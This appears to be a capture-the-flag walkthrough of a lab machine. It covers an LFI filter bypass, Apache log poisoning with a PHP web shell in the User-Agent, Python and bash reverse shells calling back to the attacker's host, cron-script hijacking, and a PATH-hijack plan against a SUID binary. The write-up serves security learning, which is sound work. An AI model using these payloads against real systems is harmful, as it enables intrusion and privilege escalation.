Nmap Scan#

I started by scanning the target to identify open ports and services.

1
nmap -A -p- -T4 10.65.136.16 -oN nmap-scan

Nmap Results:

1
PORT   STATE SERVICE VERSION
2
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
4
|_http-server-header: Apache/2.4.29 (Ubuntu)
5
|_http-title: Wavefire

Analysis: The scan reveals two open ports: 22 (SSH) and 80 (HTTP). The web server is running Apache on Ubuntu.

Configuration#

To access the virtual host, I added the domain to my /etc/hosts file to map it to the target IP.

1
echo "10.65.136.16 mafialive.thm" | sudo tee -a /etc/hosts

2. Capturing Flag 1#

With the hostname configured, I visited http://mafialive.thm. The site loaded a different page than the IP address, confirming the virtual routing.

I immediately spotted the first flag displayed on the homepage.

Answer 2

Find flag 1

thm{REDACTED}

6. Vulnerability Analysis#

Analyzing the source code retrieved above reveals the logic behind the security filter:

1
function containsStr($str, $substr) {
2
    return strpos($str, $substr) !== false;
3
}
4

5
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
6
    include $_GET['view'];
7
}

The logic has two conditions:

1. The Allow List: The path must contain /var/www/html/development_testing.
2. The Block List: The path must not contain ../…

The Bypass:

We can bypass the directory traversal filter because strpos is looking for the exact string ../… In Linux, ..//..// is functionally equivalent to ../../ but looks different to the string matching function.

Step 1: Verify Access to Logs#

First, I verified that I could read the Apache access logs. Since I knew the filter blocked ../.., I used the bypass ..//..// to navigate to the standard Ubuntu log location.

Payload:

1
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log

The server returned the content of the log file, confirming that I had read access.

Step 2: Injecting the Payload (Log Poisoning)#

To achieve Remote Code Execution (RCE), I decided to poison the log file by injecting a PHP shell. Apache logs the User-Agent header of every request, making it a perfect vehicle for our payload.

I used curl to send a request with a malicious User-Agent containing a PHP system() call.

1
curl -A "<?php system(\$_GET['cmd']); ?>" http://mafialive.thm/test.php

NOTE

The \ before $_GET escapes the variable so it is sent literally to the server, rather than being interpreted by my local shell.

Step 3: Executing Code#

With the payload successfully written to access.log, I triggered it by including the log file again via the LFI vulnerability. This time, I appended the &cmd=id parameter to execute a system command.

URL :

1
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log&cmd=id

Scanning through the response (in the last line of the output) , I found the output of the id command executed by the server: uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE Confirmed!

Step 1: Setting up the Listener#

To upgrade my access from simple command execution to an interactive shell, I started a Netcat listener on my local machine.

1
nc -lvnp 4444

Step 2: Payload Execution#

I utilized a standard Python3 reverse shell one-liner to initiate the callback.

Payload:

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MY_VPN_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I URL-encoded this payload using CyberChef to ensure it would be processed correctly by the browser, then passed it to the cmd parameter.

Step 3: Catching the Shell#

The listener caught the connection, granting me a shell as the www-data user.

False Lead: The “Password Backup”#

While enumerating the /home/archangel directory, I found a folder named myfiles containing a file called passwordbackup.

1
$ cat /home/archangel/myfiles/passwordbackup
2
https://www.youtube.com/watch?v=dQw4w9WgXcQ

I checked the link, and it turned out to be a Rickroll (Rick Astley - Never Gonna Give You Up). This was a rabbit hole. So we got Rickrolled :))

Enumeration#

I checked /opt and found a custom script named helloworld.sh.

Crucially, this file is world-writable (777 permissions).

I then checked /etc/crontab to see if this script was being executed automatically.

Vulnerability Identified: The system runs /opt/helloworld.sh every minute as the user archangel. Since I have write permissions to this file, I can replace its contents with a reverse shell payload to escalate my privileges from www-data to archangel.

Exploiting the Cron Job#

Since I had write access to /opt/helloworld.sh, I appended a reverse shell one-liner to the script. This ensures that when the cron job executes the script (every minute), it will also execute my malicious code.

Step 1: Setting up the Listener I started a new Netcat listener on port 5555 to catch the incoming connection.

1
nc -lvnp 5555

Step 2: Injecting the Payload I used the echo command to append the bash reverse shell to the target script.

1
echo "bash -i >& /dev/tcp/10.9.1.145/5555 0>&1" >> /opt/helloworld.sh

Step 3: Catching the Shell After waiting for less than a minute, the cron job executed, and I received a callback on my listener.

Enumeration#

I listed the files in the secret directory and identified a suspicious binary named backup.

1
archangel@ubuntu:~/secret$ ls -l backup
2
-rwsr-xr-x 1 root root 16904 Nov 18 2020 backup

The s bit indicates it is a SUID binary owned by root. When I attempted to run it, it produced an error involving the cp command.

cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory

Vulnerability Analysis: The error message reveals that the binary is trying to execute the system command cp. Crucially, because it likely calls cp directly (instead of the absolute path /bin/cp), it is vulnerable to Path Hijacking. The system will look for cp in the directories listed in my PATH variable. If I can place a malicious script named cp in a folder I control and add that folder to the start of my PATH, the binary will execute my script as root instead of the real copy command.